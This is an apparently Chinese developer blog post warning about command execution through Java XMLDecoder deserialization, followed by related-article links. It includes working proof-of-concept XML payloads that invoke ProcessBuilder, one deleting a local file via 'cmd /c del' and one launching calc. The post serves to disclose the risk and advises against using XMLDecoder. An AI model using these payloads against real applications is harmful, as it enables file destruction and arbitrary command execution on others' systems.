jdk紧急漏洞,XMLDecoder反序列化攻击

简介: 昨天在公司发现了一个jdk中的XMLDecoder反序列化的漏洞,看起来很危险!下面通过两个示例来看看这个漏洞的危害!示例1:利用XmlDecoder删除本地文件首先来看这个xmldecoder.xml文件内容:

昨天在公司发现了一个jdk中的XMLDecoder反序列化的漏洞,看起来很危险!下面通过两个示例来看看这个漏洞的危害!

示例1:利用XmlDecoder删除本地文件

首先来看这个xmldecoder.xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="4">
            <void index="0">
                <string>cmd</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>del</string>
            </void>
            <void index="3">
                <string>e:\1.txt</string>
            </void>         
        </array>
        <void method="start" />
    </object>
</java>

再来看利用XMLDecoder解析这个xml文件的示例代码:

private static void byXmlFile() {
    File file = new File("E:\\xmldecoder.xml");
    XMLDecoder xd = null;
    try {
        xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
    } catch (Exception e) {
        e.printStackTrace();
    }
    Object s2 = xd.readObject();
    xd.close();
}

这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令,直接删除了本地文件,相当恐怖!

示例2:利用XmlDecoder调用本地程序

private static void byXmlString() {
    String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
            .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
            .append("    <object class=\"java.lang.ProcessBuilder\">")
            .append("        <array class=\"java.lang.String\" length=\"1\">")
            .append("            <void index=\"0\">")
            .append("                <string>calc</string>")
            .append("            </void>")
            .append("        </array>")
            .append("        <void method=\"start\" />")
            .append("    </object>")
            .append("</java>").toString();
    XMLDecoder xd = null;
    try {
        xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));
    } catch (Exception e) {
        e.printStackTrace();
    }
    Object s2 = xd.readObject();
    xd.close();
}

这段代码改成了用String输入源的形式,这不重要,重要的是还是利用了jdk中的XmlDecoder类来解析xml字符串。这段代码执行后,会调用出本地的计算器程序。


其中ProcessBuilder.start()的方法和Runtime.exec()方法一样,都可以被用来创建一个操作系统进程,可用来控制进程状态并获得相关信息。


ProcessBuilder的构造方法接受一个命令列表。

public ProcessBuilder(List<String> command) {
    if (command == null)
        throw new NullPointerException();
    this.command = command;
}

总结

Jdk中的XmlDecoder反序列化存在安全漏洞,能调用本地的应用,也能执行系统支持的命令,一旦黑客组织成命令列表攻击系统,后果不堪设想!


我只是用ProcessBuilder类演示了调用系统程序这两种案例,当然还有其他,远不止这一种攻击手段。作者看了下,这个漏洞在jdk8_0_151版本中还存在。


建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类。


求转发,紧急扩散,避免更大程度的损失!~


相关文章
|
3月前
|
Java
JDK序列化原理问题之Hessian框架不支持writeObject/readObject方法如何解决
JDK序列化原理问题之Hessian框架不支持writeObject/readObject方法如何解决
|
3月前
|
自然语言处理 JavaScript 前端开发
JDK序列化原理问题之FuryJDK序列化性能问题的如何解决
JDK序列化原理问题之FuryJDK序列化性能问题的如何解决
|
3月前
|
缓存 Java
JDK序列化原理问题之Fury如何实现与JDK序列化100%兼容的如何解决
JDK序列化原理问题之Fury如何实现与JDK序列化100%兼容的如何解决
|
3月前
|
Java
JDK序列化原理问题之在JDK序列化中不同JDK版本字段不一致的情况如何解决
JDK序列化原理问题之在JDK序列化中不同JDK版本字段不一致的情况如何解决
|
6月前
|
缓存 自然语言处理 JavaScript
万字长文深度解析JDK序列化原理及Fury高度兼容的极致性能实现
Fury是一个基于JIT动态编译的高性能多语言原生序列化框架,支持Java/Python/Golang/C++/JavaScript等语言,提供全自动的对象多语言/跨语言序列化能力,以及相比于别的框架最高20~200倍的性能。
168715 12
|
JSON 前端开发 Java
SpringBoot - 优雅解决 SpringBoot 在 JDK8 中 LocalDateTime(反)序列化问题
SpringBoot - 优雅解决 SpringBoot 在 JDK8 中 LocalDateTime(反)序列化问题
727 0
|
存储 Java
【面试题精讲】JDK 自带的序列化方式
【面试题精讲】JDK 自带的序列化方式
|
缓存 自然语言处理 Rust
比JDK最高快170倍,蚂蚁集团开源高性能多语言序列化框架Fury
Fury是一个基于JIT动态编译和零拷贝的多语言序列化框架,支持Java/Python/Golang/JavaScript/C++等语言,提供全自动的对象多语言/跨语言序列化能力,和相比JDK最高170倍的性能。经过多年蚂蚁核心场景的锤炼打磨,现已正式在Github对外开源:https://github.com/alipay/fury
2578 5
|
缓存 自然语言处理 JavaScript
万字长文深度解析JDK序列化原理及Fury高度兼容的极致性能实现
Fury是一个基于JIT动态编译的高性能多语言原生序列化框架,支持Java/Python/Golang/C++/JavaScript等语言,提供全自动的对象多语言/跨语言序列化能力,以及相比于别的框架最高20~200倍的性能。
34001 10
万字长文深度解析JDK序列化原理及Fury高度兼容的极致性能实现
|
安全 Java Shell
Shiro序列化攻击
Shiro序列化攻击